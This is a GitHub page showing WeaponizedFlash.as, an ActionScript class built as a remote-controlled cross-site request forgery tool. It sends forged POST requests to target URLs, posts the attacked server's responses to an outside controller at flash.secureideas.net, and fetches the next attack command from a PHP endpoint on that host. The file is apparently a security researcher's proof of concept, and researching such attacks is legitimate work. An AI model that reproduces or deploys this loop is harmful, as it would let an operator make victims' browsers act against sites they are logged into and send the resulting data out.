-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathWeaponizedFlash.as
61 lines (50 loc) · 1.82 KB
/
WeaponizedFlash.as
1
package { public class WeaponizedFlash { // Constants: // Public Properties: // Private Properties: // Initialization: public function WeaponizedFlash() { } // Public Methods: public function sendCSRFAttack(csrfURL:String, method:String, payload:String, returnResponseCallback:Function):void { // currently only works with POST -- Kevin var myURL:URLRequest = new URLRequest(csrfURL); myURL.data = payload; myURL.method = URLRequestMethod.POST; var myLoader:URLLoader = new URLLoader(); myLoader.addEventListener("complete", returnResponseCallback); myLoader.load(myURL); } public function returnResponse(evtObj:Event):void { // Return response from attacked server to controller script var response:String = evtObj.target.data; // Now to send this to my controller var controllerURL:URLRequest = new URLRequest("http://flash.secureideas.net"); controllerURL.data = response; controllerURL.method = URLRequestMethod.POST; var ctrlrLoader:URLLoader = new URLLoader(); ctrlrLoader.addEventListener("complete", retrieveCSRFCommand); ctrlrLoader.load(controllerURL); } public function retrieveCSRFCommand():void { // Get the CSRF victim from controller var cmdURL:URLRequest = new URLRequest("http://flash.secureideas.net/csrfCommand.php"); cmdURL.method = URLRequestMethod.GET; var cmdLoader:URLLoader = new URLLoader(); cmdLoader.addEventListener("complete", parseCSRFCommand); cmdLoader.load(cmdURL); } public function parseCSRFCommand(evtObj:Event):void { // parse the CSRF Command and then call the sendCSRFAttack var cmdResponse:String = evtObj.target.data; var arrayRequestPieces:Array = cmdResponse.split(","); sendCSRFAttack(arrayRequestPieces[0], arrayRequestPieces[1], arrayRequestPieces[0], returnResponse); } // Protected Methods: } }